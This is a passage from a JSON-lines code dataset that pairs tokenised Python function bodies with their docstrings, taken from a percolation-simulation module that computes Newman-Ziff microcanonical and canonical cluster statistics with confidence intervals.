statistics.\n\nParameters\n----------\ngraph : networkx.Graph\n    The substrate graph on which percolation is to take place\n\nspanning_cluster : bool, optional\n    Whether to detect a spanning cluster or not.\n    Defaults to ``True``.\n\nmodel : str, optional\n    The percolation model (either ``'bond'`` or ``'site'``).\n    Defaults to ``'bond'``.\n\n    .. note:: Other models than ``'bond'`` are not supported yet.\n\ncopy_result : bool, optional\n    Whether to return a copy or a reference to the result dictionary.\n    Defaults to ``True``.\n\nYields\n------\nret : dict\n    Cluster statistics\n\nret['n'] : int\n    Number of occupied bonds\n\nret['N'] : int\n    Total number of sites\n\nret['M'] : int\n    Total number of bonds\n\nret['has_spanning_cluster'] : bool\n    ``True`` if there is a spanning cluster, ``False`` otherwise.\n    Only exists if `spanning_cluster` argument is set to ``True``.\n\nret['max_cluster_size'] : int\n    Size of the largest cluster (absolute number of sites)\n\nret['moments'] : 1-D :py:class:`numpy.ndarray` of int\n    Array of size ``5``.\n    The ``k``-th entry is the ``k``-th raw moment of the (absolute) cluster\n    size distribution, with ``k`` ranging from ``0`` to ``4``.\n\nRaises\n------\nValueError\n    If `model` does not equal ``'bond'``.\n\nValueError\n    If `spanning_cluster` is ``True``, but `graph` does not contain any\n    auxiliary nodes to detect spanning clusters.\n\nSee also\n--------\n\nmicrocanonical_averages : Evolves multiple sample states in parallel\n\nNotes\n-----\nIterating through this generator is a single run of the Newman-Ziff\nalgorithm. [2]_\nThe first iteration yields the trivial state with :math:`n = 0` occupied\nbonds.\n\nSpanning cluster\n\n    In order to detect a spanning cluster, `graph` needs to contain\n    auxiliary nodes and edges, cf. Reference [2]_, Figure 6.\n    The auxiliary nodes and edges have the ``'span'`` `attribute\n    <http://networkx.github.io/documentation/latest/tutorial/tutorial.html#node-attributes>`_.\n    The value is either ``0`` or ``1``, distinguishing the two sides of the\n    graph to span.\n\nRaw moments of the cluster size distribution\n\n    The :math:`k`-th raw moment of the (absolute) cluster size distribution\n    is :math:`\\sum_s' s^k N_s`, where :math:`s` is the cluster size and\n    :math:`N_s` is the number of clusters of size :math:`s`. [3]_\n    The primed sum :math:`\\sum'` signifies that the largest cluster is\n    excluded from the sum. [4]_\n\nReferences\n----------\n.. [2] Newman, M. E. J. & Ziff, R. M. Fast monte carlo algorithm for site\n    or bond percolation. Physical Review E 64, 016706+ (2001),\n    `doi:10.1103/physreve.64.016706 <http://dx.doi.org/10.1103/physreve.64.016706>`_.\n\n.. [3] Stauffer, D. & Aharony, A. Introduction to Percolation Theory (Taylor &\n   Francis, London, 1994), second edn.\n\n.. [4] Binder, K. & Heermann, D. W. Monte Carlo Simulation in Statistical\n   Physics (Springer, Berlin, Heidelberg, 2010),\n   `doi:10.1007/978-3-642-03163-2 <http://dx.doi.org/10.1007/978-3-642-03163-2>`_.", "id": "f15353:m1"}
{"signature": "def single_run_arrays(spanning_cluster=True, **kwargs):", "body": "<EOL>kwargs['<STR_LIT>'] = False<EOL>ret = dict()<EOL>for n, state in enumerate(sample_states(<EOL>spanning_cluster=spanning_cluster, **kwargs<EOL>)):<EOL><INDENT>if '<STR_LIT:N>' in ret:<EOL><INDENT>assert ret['<STR_LIT:N>'] == state['<STR_LIT:N>']<EOL><DEDENT>else:<EOL><INDENT>ret['<STR_LIT:N>'] = state['<STR_LIT:N>']<EOL><DEDENT>if '<STR_LIT:M>' in ret:<EOL><INDENT>assert ret['<STR_LIT:M>'] == state['<STR_LIT:M>']<EOL><DEDENT>else:<EOL><INDENT>ret['<STR_LIT:M>'] = state['<STR_LIT:M>']<EOL>number_of_states = state['<STR_LIT:M>'] + <NUM_LIT:1><EOL>max_cluster_size = np.empty(number_of_states)<EOL>if spanning_cluster:<EOL><INDENT>has_spanning_cluster = np.empty(number_of_states, dtype=np.bool)<EOL><DEDENT>moments = np.empty((<NUM_LIT:5>, number_of_states))<EOL><DEDENT>max_cluster_size[n] = state['<STR_LIT>']<EOL>for k in range(<NUM_LIT:5>):<EOL><INDENT>moments[k, n] = state['<STR_LIT>'][k]<EOL><DEDENT>if spanning_cluster:<EOL><INDENT>has_spanning_cluster[n] = state['<STR_LIT>']<EOL><DEDENT><DEDENT>ret['<STR_LIT>'] = max_cluster_size<EOL>ret['<STR_LIT>'] = moments<EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'] = has_spanning_cluster<EOL><DEDENT>return ret<EOL>", "docstring": "r'''\n    Generate statistics for a single run\n\n    This is a stand-alone helper function to evolve a single sample state\n    (realization) and return the cluster statistics.\n\n    Parameters\n    ----------\n    spanning_cluster : bool, optional\n        Whether to detect a spanning cluster or not.\n        Defaults to ``True``.\n\n    kwargs : keyword arguments\n        Piped through to :func:`sample_states`\n\n    Returns\n    -------\n\n    ret : dict\n        Cluster statistics\n\n    ret['N'] : int\n        Total number of sites\n\n    ret['M'] : int\n        Total number of bonds\n\n    ret['max_cluster_size'] : 1-D :py:class:`numpy.ndarray` of int, size ``ret['M'] + 1``\n        Array of the sizes of the largest cluster (absolute number of sites) at\n        the respective occupation number.\n\n    ret['has_spanning_cluster'] : 1-D :py:class:`numpy.ndarray` of bool, size ``ret['M'] + 1``\n        Array of booleans for each occupation number.\n        The respective entry is ``True`` if there is a spanning cluster,\n        ``False`` otherwise.\n        Only exists if `spanning_cluster` argument is set to ``True``.\n\n    ret['moments'] : 2-D :py:class:`numpy.ndarray` of int\n        Array of shape ``(5, ret['M'] + 1)``.\n        The ``(k, m)``-th entry is the ``k``-th raw moment of the (absolute)\n        cluster size distribution, with ``k`` ranging from ``0`` to ``4``, at\n        occupation number ``m``.\n\n    See Also\n    --------\n\n    sample_states", "id": "f15353:m2"}
{"signature": "def _microcanonical_average_spanning_cluster(has_spanning_cluster, alpha):", "body": "ret = dict()<EOL>runs = has_spanning_cluster.size<EOL>k = has_spanning_cluster.sum(dtype=np.float)<EOL>ret['<STR_LIT>'] = (<EOL>(k + <NUM_LIT:1>) / (runs + <NUM_LIT:2>)<EOL>)<EOL>ret['<STR_LIT>'] = scipy.stats.beta.ppf(<EOL>[alpha / <NUM_LIT:2>, <NUM_LIT:1> - alpha / <NUM_LIT:2>], k + <NUM_LIT:1>, runs - k + <NUM_LIT:1><EOL>)<EOL>return ret<EOL>", "docstring": "r'''\n    Compute the average number of runs that have a spanning cluster\n\n    Helper function for :func:`microcanonical_averages`\n\n    Parameters\n    ----------\n\n    has_spanning_cluster : 1-D :py:class:`numpy.ndarray` of bool\n        Each entry is the ``has_spanning_cluster`` field of the output of\n        :func:`sample_states`:\n        An entry is ``True`` if there is a spanning cluster in that respective\n        run, and ``False`` otherwise.\n\n    alpha : float\n        Significance level.\n\n    Returns\n    -------\n\n    ret : dict\n        Spanning cluster statistics\n\n    ret['spanning_cluster'] : float\n        The average relative number (Binomial proportion) of runs that have a\n        spanning cluster.\n        This is the Bayesian point estimate of the posterior mean, with a\n        uniform prior.\n\n    ret['spanning_cluster_ci'] : 1-D :py:class:`numpy.ndarray` of float, size 2\n        The lower and upper bounds of the Binomial proportion confidence\n        interval with uniform prior.\n\n    See Also\n    --------\n\n    sample_states : spanning cluster detection\n\n    microcanonical_averages : spanning cluster statistics\n\n    Notes\n    -----\n\n    Averages and confidence intervals for Binomial proportions\n\n    As Cameron [8]_ puts it, the normal approximation to the confidence\n    interval for a Binomial proportion :math:`p` \"suffers a *systematic*\n    decline in performance (...) towards extreme values of :math:`p` near\n    :math:`0` and :math:`1`, generating binomial [confidence intervals]\n    with effective coverage far below the desired level.\" (see also\n    References [6]_ and [7]_).\n\n    A different approach to quantifying uncertainty is Bayesian inference.\n    [5]_\n    For :math:`n` independent Bernoulli trails with common success\n    probability :math:`p`, the *likelihood* to have :math:`k` successes\n    given :math:`p` is the binomial distribution\n\n    .. math::\n\n        P(k|p) = \\binom{n}{k} p^k (1-p)^{n-k} \\equiv B(a,b),\n\n    where :math:`B(a, b)` is the *Beta distribution* with parameters\n    :math:`a = k + 1` and :math:`b = n - k + 1`.\n    Assuming a uniform prior :math:`P(p) = 1`, the *posterior* is [5]_\n\n    .. math::\n\n        P(p|k) = P(k|p)=B(a,b).\n\n    A point estimate is the posterior mean\n\n    .. math::\n\n        \\bar{p} = \\frac{k+1}{n+2}\n\n    with the :math:`1 - \\alpha` credible interval :math:`(p_l, p_u)` given\n    by\n\n    .. math::\n\n        \\int_0^{p_l} dp B(a,b) = \\int_{p_u}^1 dp B(a,b) = \\frac{\\alpha}{2}.\n\n    References\n    ----------\n\n    .. [5] Wasserman, L. All of Statistics (Springer New York, 2004),\n       `doi:10.1007/978-0-387-21736-9 <http://dx.doi.org/10.1007/978-0-387-21736-9>`_.\n\n    .. [6] DasGupta, A., Cai, T. T. & Brown, L. D. Interval Estimation for a\n       Binomial Proportion. Statistical Science 16, 101-133 (2001).\n       `doi:10.1214/ss/1009213286 <http://dx.doi.org/10.1214/ss/1009213286>`_.\n\n    .. [7] Agresti, A. & Coull, B. A. Approximate is Better than \"Exact\" for\n       Interval Estimation of Binomial Proportions. The American Statistician\n       52, 119-126 (1998),\n       `doi:10.2307/2685469 <http://dx.doi.org/10.2307/2685469>`_.\n\n    .. [8] Cameron, E. On the Estimation of Confidence Intervals for Binomial\n       Population Proportions in Astronomy: The Simplicity and Superiority of\n       the Bayesian Approach. Publications of the Astronomical Society of\n       Australia 28, 128-139 (2011),\n       `doi:10.1071/as10046 <http://dx.doi.org/10.1071/as10046>`_.", "id": "f15353:m3"}
{"signature": "def _microcanonical_average_max_cluster_size(max_cluster_size, alpha):", "body": "ret = dict()<EOL>runs = max_cluster_size.size<EOL>sqrt_n = np.sqrt(runs)<EOL>max_cluster_size_sample_mean = max_cluster_size.mean()<EOL>ret['<STR_LIT>'] = max_cluster_size_sample_mean<EOL>max_cluster_size_sample_std = max_cluster_size.std(ddof=<NUM_LIT:1>)<EOL>if max_cluster_size_sample_std:<EOL><INDENT>old_settings = np.seterr(all='<STR_LIT>')<EOL>ret['<STR_LIT>'] = scipy.stats.t.interval(<EOL><NUM_LIT:1> - alpha,<EOL>df=runs - <NUM_LIT:1>,<EOL>loc=max_cluster_size_sample_mean,<EOL>scale=max_cluster_size_sample_std / sqrt_n<EOL>)<EOL>np.seterr(**old_settings)<EOL><DEDENT>else:<EOL><INDENT>ret['<STR_LIT>'] = (<EOL>max_cluster_size_sample_mean * np.ones(<NUM_LIT:2>)<EOL>)<EOL><DEDENT>return ret<EOL>", "docstring": "Compute the average size of the largest cluster\n\nHelper function for :func:`microcanonical_averages`\n\nParameters\n----------\n\nmax_cluster_size : 1-D :py:class:`numpy.ndarray` of int\n    Each entry is the ``max_cluster_size`` field of the output of\n    :func:`sample_states`:\n    The size of the largest cluster (absolute number of sites).\n\nalpha: float\n    Significance level.\n\nReturns\n-------\n\nret : dict\n    Largest cluster statistics\n\nret['max_cluster_size'] : float\n    Average size of the largest cluster (absolute number of sites)\n\nret['max_cluster_size_ci'] : 1-D :py:class:`numpy.ndarray` of float, size 2\n    Lower and upper bounds of the normal confidence interval of the average\n    size of the largest cluster (absolute number of sites)\n\nSee Also\n--------\n\nsample_states : largest cluster detection\n\nmicrocanonical_averages : largest cluster statistics", "id": "f15353:m4"}
{"signature": "def _microcanonical_average_moments(moments, alpha):", "body": "ret = dict()<EOL>runs = moments.shape[<NUM_LIT:0>]<EOL>sqrt_n = np.sqrt(runs)<EOL>moments_sample_mean = moments.mean(axis=<NUM_LIT:0>)<EOL>ret['<STR_LIT>'] = moments_sample_mean<EOL>moments_sample_std = moments.std(axis=<NUM_LIT:0>, ddof=<NUM_LIT:1>)<EOL>ret['<STR_LIT>'] = np.empty((<NUM_LIT:5>, <NUM_LIT:2>))<EOL>for k in range(<NUM_LIT:5>):<EOL><INDENT>if moments_sample_std[k]:<EOL><INDENT>old_settings = np.seterr(all='<STR_LIT>')<EOL>ret['<STR_LIT>'][k] = scipy.stats.t.interval(<EOL><NUM_LIT:1> - alpha,<EOL>df=runs - <NUM_LIT:1>,<EOL>loc=moments_sample_mean[k],<EOL>scale=moments_sample_std[k] / sqrt_n<EOL>)<EOL>np.seterr(**old_settings)<EOL><DEDENT>else:<EOL><INDENT>ret['<STR_LIT>'][k] = (<EOL>moments_sample_mean[k] * np.ones(<NUM_LIT:2>)<EOL>)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Compute the average moments of the cluster size distributions\n\nHelper function for :func:`microcanonical_averages`\n\nParameters\n----------\n\nmoments : 2-D :py:class:`numpy.ndarray` of int\n    ``moments.shape[1] == 5`.\n    Each array ``moments[r, :]`` is the ``moments`` field of the output of\n    :func:`sample_states`:\n    The ``k``-th entry is the ``k``-th raw moment of the (absolute) cluster\n    size distribution.\n\nalpha: float\n    Significance level.\n\nReturns\n-------\n\nret : dict\n    Moment statistics\n\nret['moments'] : 1-D :py:class:`numpy.ndarray` of float, size 5\n    The ``k``-th entry is the average ``k``-th raw moment of the (absolute)\n    cluster size distribution, with ``k`` ranging from ``0`` to ``4``.\n\nret['moments_ci'] : 2-D :py:class:`numpy.ndarray` of float, shape (5,2)\n    ``ret['moments_ci'][k]`` are the lower and upper bounds of the normal\n    confidence interval of the average ``k``-th raw moment of the\n    (absolute) cluster size distribution, with ``k`` ranging from ``0`` to\n    ``4``.\n\nSee Also\n--------\n\nsample_states : computation of moments\n\nmicrocanonical_averages : moment statistics", "id": "f15353:m5"}
{"signature": "def microcanonical_averages(<EOL>graph, runs=<NUM_LIT>, spanning_cluster=True, model='<STR_LIT>', alpha=alpha_1sigma,<EOL>copy_result=True<EOL>):", "body": "try:<EOL><INDENT>runs = int(runs)<EOL><DEDENT>except:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if runs <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>alpha = float(alpha)<EOL><DEDENT>except:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if alpha <= <NUM_LIT:0.0> or alpha >= <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>run_iterators = [<EOL>sample_states(<EOL>graph, spanning_cluster=spanning_cluster, model=model,<EOL>copy_result=False<EOL>)<EOL>for _ in range(runs)<EOL>]<EOL>ret = dict()<EOL>for microcanonical_ensemble in zip(*run_iterators):<EOL><INDENT>ret['<STR_LIT:n>'] = microcanonical_ensemble[<NUM_LIT:0>]['<STR_LIT:n>']<EOL>ret['<STR_LIT:N>'] = microcanonical_ensemble[<NUM_LIT:0>]['<STR_LIT:N>']<EOL>ret['<STR_LIT:M>'] = microcanonical_ensemble[<NUM_LIT:0>]['<STR_LIT:M>']<EOL>max_cluster_size = np.empty(runs)<EOL>moments = np.empty((runs, <NUM_LIT:5>))<EOL>if spanning_cluster:<EOL><INDENT>has_spanning_cluster = np.empty(runs)<EOL><DEDENT>for r, state in enumerate(microcanonical_ensemble):<EOL><INDENT>assert state['<STR_LIT:n>'] == ret['<STR_LIT:n>']<EOL>assert state['<STR_LIT:N>'] == ret['<STR_LIT:N>']<EOL>assert state['<STR_LIT:M>'] == ret['<STR_LIT:M>']<EOL>max_cluster_size[r] = state['<STR_LIT>']<EOL>moments[r] = state['<STR_LIT>']<EOL>if spanning_cluster:<EOL><INDENT>has_spanning_cluster[r] = state['<STR_LIT>']<EOL><DEDENT><DEDENT>ret.update(_microcanonical_average_max_cluster_size(<EOL>max_cluster_size, alpha<EOL>))<EOL>ret.update(_microcanonical_average_moments(moments, alpha))<EOL>if spanning_cluster:<EOL><INDENT>ret.update(_microcanonical_average_spanning_cluster(<EOL>has_spanning_cluster, alpha<EOL>))<EOL><DEDENT>if copy_result:<EOL><INDENT>yield copy.deepcopy(ret)<EOL><DEDENT>else:<EOL><INDENT>yield ret<EOL><DEDENT><DEDENT>", "docstring": "r'''\n    Generate successive microcanonical percolation ensemble averages\n\n    This is a :ref:`generator function <python:tut-generators>` to successively\n    add one edge at a time from the graph to the percolation model for a number\n    of independent runs in parallel.\n    At each iteration, it calculates and returns the averaged cluster\n    statistics.\n\n    Parameters\n    ----------\n    graph : networkx.Graph\n        The substrate graph on which percolation is to take place\n\n    runs : int, optional\n        Number of independent runs.\n        Defaults to ``40``.\n\n    spanning_cluster : bool, optional\n        Defaults to ``True``.\n\n    model : str, optional\n        The percolation model (either ``'bond'`` or ``'site'``).\n        Defaults to ``'bond'``.\n\n        .. note:: Other models than ``'bond'`` are not supported yet.\n\n    alpha: float, optional\n        Significance level.\n        Defaults to 1 sigma of the normal distribution.\n        ``1 - alpha`` is the confidence level.\n\n    copy_result : bool, optional\n        Whether to return a copy or a reference to the result dictionary.\n        Defaults to ``True``.\n\n    Yields\n    ------\n    ret : dict\n        Cluster statistics\n\n    ret['n'] : int\n        Number of occupied bonds\n\n    ret['N'] : int\n        Total number of sites\n\n    ret['M'] : int\n        Total number of bonds\n\n    ret['spanning_cluster'] : float\n        The average number (Binomial proportion) of runs that have a spanning\n        cluster.\n        This is the Bayesian point estimate of the posterior mean, with a\n        uniform prior.\n        Only exists if `spanning_cluster` is set to ``True``.\n\n    ret['spanning_cluster_ci'] : 1-D :py:class:`numpy.ndarray` of float, size 2\n        The lower and upper bounds of the Binomial proportion confidence\n        interval with uniform prior.\n        Only exists if `spanning_cluster` is set to ``True``.\n\n    ret['max_cluster_size'] : float\n        Average size of the largest cluster (absolute number of sites)\n\n    ret['max_cluster_size_ci'] : 1-D :py:class:`numpy.ndarray` of float, size 2\n        Lower and upper bounds of the normal confidence interval of the average\n        size of the largest cluster (absolute number of sites)\n\n    ret['moments'] : 1-D :py:class:`numpy.ndarray` of float, size 5\n        The ``k``-th entry is the average ``k``-th raw moment of the (absolute)\n        cluster size distribution, with ``k`` ranging from ``0`` to ``4``.\n\n    ret['moments_ci'] : 2-D :py:class:`numpy.ndarray` of float, shape (5,2)\n        ``ret['moments_ci'][k]`` are the lower and upper bounds of the normal\n        confidence interval of the average ``k``-th raw moment of the\n        (absolute) cluster size distribution, with ``k`` ranging from ``0`` to\n        ``4``.\n\n    Raises\n    ------\n    ValueError\n        If `runs` is not a positive integer\n\n    ValueError\n        If `alpha` is not a float in the interval (0, 1)\n\n    See also\n    --------\n\n    sample_states\n\n    percolate.percolate._microcanonical_average_spanning_cluster\n\n    percolate.percolate._microcanonical_average_max_cluster_size\n\n    Notes\n    -----\n    Iterating through this generator corresponds to several parallel runs of\n    the Newman-Ziff algorithm.\n    Each iteration yields a microcanonical percolation ensemble for the number\n    :math:`n` of occupied bonds. [9]_\n    The first iteration yields the trivial microcanonical percolation ensemble\n    with :math:`n = 0` occupied bonds.\n\n    Spanning cluster\n\n        .. seealso:: :py:func:`sample_states`\n\n    Raw moments of the cluster size distribution\n\n        .. seealso:: :py:func:`sample_states`\n\n\n    References\n    ----------\n    .. [9] Newman, M. E. J. & Ziff, R. M. Fast monte carlo algorithm for site\n        or bond percolation. Physical Review E 64, 016706+ (2001),\n        `doi:10.1103/physreve.64.016706 <http://dx.doi.org/10.1103/physreve.64.016706>`_.", "id": "f15353:m6"}
{"signature": "def spanning_1d_chain(length):", "body": "ret = nx.grid_graph(dim=[int(length + <NUM_LIT:2>)])<EOL>ret.node[<NUM_LIT:0>]['<STR_LIT>'] = <NUM_LIT:0><EOL>ret[<NUM_LIT:0>][<NUM_LIT:1>]['<STR_LIT>'] = <NUM_LIT:0><EOL>ret.node[length + <NUM_LIT:1>]['<STR_LIT>'] = <NUM_LIT:1><EOL>ret[length][length + <NUM_LIT:1>]['<STR_LIT>'] = <NUM_LIT:1><EOL>return ret<EOL>", "docstring": "Generate a linear chain with auxiliary nodes for spanning cluster detection\n\nParameters\n----------\n\nlength : int\n   Number of nodes in the chain, excluding the auxiliary nodes.\n\nReturns\n-------\n\nnetworkx.Graph\n   A linear chain graph with auxiliary nodes for spanning cluster detection\n\nSee Also\n--------\n\nsample_states : spanning cluster detection", "id": "f15353:m7"}
{"signature": "def spanning_2d_grid(length):", "body": "ret = nx.grid_2d_graph(length + <NUM_LIT:2>, length)<EOL>for i in range(length):<EOL><INDENT>ret.node[(<NUM_LIT:0>, i)]['<STR_LIT>'] = <NUM_LIT:0><EOL>ret[(<NUM_LIT:0>, i)][(<NUM_LIT:1>, i)]['<STR_LIT>'] = <NUM_LIT:0><EOL>ret.node[(length + <NUM_LIT:1>, i)]['<STR_LIT>'] = <NUM_LIT:1><EOL>ret[(length + <NUM_LIT:1>, i)][(length, i)]['<STR_LIT>'] = <NUM_LIT:1><EOL><DEDENT>return ret<EOL>", "docstring": "Generate a square lattice with auxiliary nodes for spanning detection\n\nParameters\n----------\n\nlength : int\n   Number of nodes in one dimension, excluding the auxiliary nodes.\n\nReturns\n-------\n\nnetworkx.Graph\n   A square lattice graph with auxiliary nodes for spanning cluster\n   detection\n\nSee Also\n--------\n\nsample_states : spanning cluster detection", "id": "f15353:m8"}
{"signature": "def microcanonical_averages_arrays(microcanonical_averages):", "body": "ret = dict()<EOL>for n, microcanonical_average in enumerate(microcanonical_averages):<EOL><INDENT>assert n == microcanonical_average['<STR_LIT:n>']<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>num_edges = microcanonical_average['<STR_LIT:M>']<EOL>num_sites = microcanonical_average['<STR_LIT:N>']<EOL>spanning_cluster = ('<STR_LIT>' in microcanonical_average)<EOL>ret['<STR_LIT>'] = np.empty(num_edges + <NUM_LIT:1>)<EOL>ret['<STR_LIT>'] = np.empty((num_edges + <NUM_LIT:1>, <NUM_LIT:2>))<EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'] = np.empty(num_edges + <NUM_LIT:1>)<EOL>ret['<STR_LIT>'] = np.empty((num_edges + <NUM_LIT:1>, <NUM_LIT:2>))<EOL><DEDENT>ret['<STR_LIT>'] = np.empty((<NUM_LIT:5>, num_edges + <NUM_LIT:1>))<EOL>ret['<STR_LIT>'] = np.empty((<NUM_LIT:5>, num_edges + <NUM_LIT:1>, <NUM_LIT:2>))<EOL><DEDENT>ret['<STR_LIT>'][n] = microcanonical_average['<STR_LIT>']<EOL>ret['<STR_LIT>'][n] = (<EOL>microcanonical_average['<STR_LIT>']<EOL>)<EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'][n] = (<EOL>microcanonical_average['<STR_LIT>']<EOL>)<EOL>ret['<STR_LIT>'][n] = (<EOL>microcanonical_average['<STR_LIT>']<EOL>)<EOL><DEDENT>ret['<STR_LIT>'][:, n] = microcanonical_average['<STR_LIT>']<EOL>ret['<STR_LIT>'][:, n] = microcanonical_average['<STR_LIT>']<EOL><DEDENT>for key in ret:<EOL><INDENT>if '<STR_LIT>' in key:<EOL><INDENT>continue<EOL><DEDENT>ret[key] /= num_sites<EOL><DEDENT>ret['<STR_LIT:M>'] = num_edges<EOL>ret['<STR_LIT:N>'] = num_sites<EOL>return ret<EOL>", "docstring": "Compile microcanonical averages over all iteration steps into single arrays\n\nHelper function to aggregate the microcanonical averages over all iteration\nsteps into single arrays for further processing\n\nParameters\n----------\n\nmicrocanonical_averages : iterable\n   Typically, this is the :func:`microcanonical_averages` generator\n\nReturns\n-------\n\nret : dict\n   Aggregated cluster statistics\n\nret['N'] : int\n    Total number of sites\n\nret['M'] : int\n    Total number of bonds\n\nret['spanning_cluster'] : 1-D :py:class:`numpy.ndarray` of float\n    The percolation probability:\n    The normalized average number of runs that have a spanning cluster.\n\nret['spanning_cluster_ci'] : 2-D :py:class:`numpy.ndarray` of float, size 2\n    The lower and upper bounds of the percolation probability.\n\nret['max_cluster_size'] : 1-D :py:class:`numpy.ndarray` of float\n    The percolation strength:\n    Average relative size of the largest cluster\n\nret['max_cluster_size_ci'] : 2-D :py:class:`numpy.ndarray` of float\n    Lower and upper bounds of the normal confidence interval of the\n    percolation strength.\n\nret['moments'] : 2-D :py:class:`numpy.ndarray` of float, shape (5, M + 1)\n    Average raw moments of the (relative) cluster size distribution.\n\nret['moments_ci'] : 3-D :py:class:`numpy.ndarray` of float, shape (5, M + 1, 2)\n    Lower and upper bounds of the normal confidence interval of the raw\n    moments of the (relative) cluster size distribution.\n\nSee Also\n--------\n\nmicrocanonical_averages", "id": "f15353:m9"}
{"signature": "def _binomial_pmf(n, p):", "body": "n = int(n)<EOL>ret = np.empty(n + <NUM_LIT:1>)<EOL>nmax = int(np.round(p * n))<EOL>ret[nmax] = <NUM_LIT:1.0><EOL>old_settings = np.seterr(under='<STR_LIT:ignore>')  <EOL>for i in range(nmax + <NUM_LIT:1>, n + <NUM_LIT:1>):<EOL><INDENT>ret[i] = ret[i - <NUM_LIT:1>] * (n - i + <NUM_LIT:1.0>) / i * p / (<NUM_LIT:1.0> - p)<EOL><DEDENT>for i in range(nmax - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>ret[i] = ret[i + <NUM_LIT:1>] * (i + <NUM_LIT:1.0>) / (n - i) * (<NUM_LIT:1.0> - p) / p<EOL><DEDENT>np.seterr(**old_settings)  <EOL>return ret / ret.sum()<EOL>", "docstring": "Compute the binomial PMF according to Newman and Ziff\n\nHelper function for :func:`canonical_averages`\n\nSee Also\n--------\n\ncanonical_averages\n\nNotes\n-----\n\nSee Newman & Ziff, Equation (10) [10]_\n\nReferences\n----------\n\n.. [10] Newman, M. E. J. & Ziff, R. M. Fast monte carlo algorithm for site\n    or bond percolation. Physical Review E 64, 016706+ (2001),\n    `doi:10.1103/physreve.64.016706 <http://dx.doi.org/10.1103/physreve.64.016706>`_.", "id": "f15353:m10"}
{"signature": "def canonical_averages(ps, microcanonical_averages_arrays):", "body": "num_sites = microcanonical_averages_arrays['<STR_LIT:N>']<EOL>num_edges = microcanonical_averages_arrays['<STR_LIT:M>']<EOL>spanning_cluster = ('<STR_LIT>' in microcanonical_averages_arrays)<EOL>ret = dict()<EOL>ret['<STR_LIT>'] = ps<EOL>ret['<STR_LIT:N>'] = num_sites<EOL>ret['<STR_LIT:M>'] = num_edges<EOL>ret['<STR_LIT>'] = np.empty(ps.size)<EOL>ret['<STR_LIT>'] = np.empty((ps.size, <NUM_LIT:2>))<EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'] = np.empty(ps.size)<EOL>ret['<STR_LIT>'] = np.empty((ps.size, <NUM_LIT:2>))<EOL><DEDENT>ret['<STR_LIT>'] = np.empty((<NUM_LIT:5>, ps.size))<EOL>ret['<STR_LIT>'] = np.empty((<NUM_LIT:5>, ps.size, <NUM_LIT:2>))<EOL>for p_index, p in enumerate(ps):<EOL><INDENT>binomials = _binomial_pmf(n=num_edges, p=p)<EOL>for key, value in microcanonical_averages_arrays.items():<EOL><INDENT>if len(key) <= <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>if key in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>ret[key][p_index] = np.sum(binomials * value)<EOL><DEDENT>elif key in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>ret[key][p_index] = np.sum(<EOL>np.tile(binomials, (<NUM_LIT:2>, <NUM_LIT:1>)).T * value, axis=<NUM_LIT:0><EOL>)<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>ret[key][:, p_index] = np.sum(<EOL>np.tile(binomials, (<NUM_LIT:5>, <NUM_LIT:1>)) * value, axis=<NUM_LIT:1><EOL>)<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>ret[key][:, p_index] = np.sum(<EOL>np.rollaxis(np.tile(binomials, (<NUM_LIT:5>, <NUM_LIT:2>, <NUM_LIT:1>)), <NUM_LIT:2>, <NUM_LIT:1>) * value,<EOL>axis=<NUM_LIT:1><EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'.format(value.ndim)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "Compute the canonical cluster statistics from microcanonical statistics\n\nThis is according to Newman and Ziff, Equation (2).\nNote that we also simply average the bounds of the confidence intervals\naccording to this formula.\n\nParameters\n----------\n\nps : iterable of float\n   Each entry is a probability for which to form the canonical ensemble\n   and compute the weighted statistics from the microcanonical statistics\n\nmicrocanonical_averages_arrays\n   Typically the output of :func:`microcanonical_averages_arrays`\n\nReturns\n-------\n\nret : dict\n   Canonical ensemble cluster statistics\n\nret['ps'] : iterable of float\n    The parameter `ps`\n\nret['N'] : int\n    Total number of sites\n\nret['M'] : int\n    Total number of bonds\n\nret['spanning_cluster'] : 1-D :py:class:`numpy.ndarray` of float\n    The percolation probability:\n    The normalized average number of runs that have a spanning cluster.\n\nret['spanning_cluster_ci'] : 2-D :py:class:`numpy.ndarray` of float, size 2\n    The lower and upper bounds of the percolation probability.\n\nret['max_cluster_size'] : 1-D :py:class:`numpy.ndarray` of float\n    The percolation strength:\n    Average relative size of the largest cluster\n\nret['max_cluster_size_ci'] : 2-D :py:class:`numpy.ndarray` of float\n    Lower and upper bounds of the normal confidence interval of the\n    percolation strength.\n\nret['moments'] : 2-D :py:class:`numpy.ndarray` of float, shape (5, M + 1)\n    Average raw moments of the (relative) cluster size distribution.\n\nret['moments_ci'] : 3-D :py:class:`numpy.ndarray` of float, shape (5, M + 1, 2)\n    Lower and upper bounds of the normal confidence interval of the raw\n    moments of the (relative) cluster size distribution.\n\nSee Also\n--------\n\nmicrocanonical_averages\n\nmicrocanonical_averages_arrays", "id": "f15353:m11"}
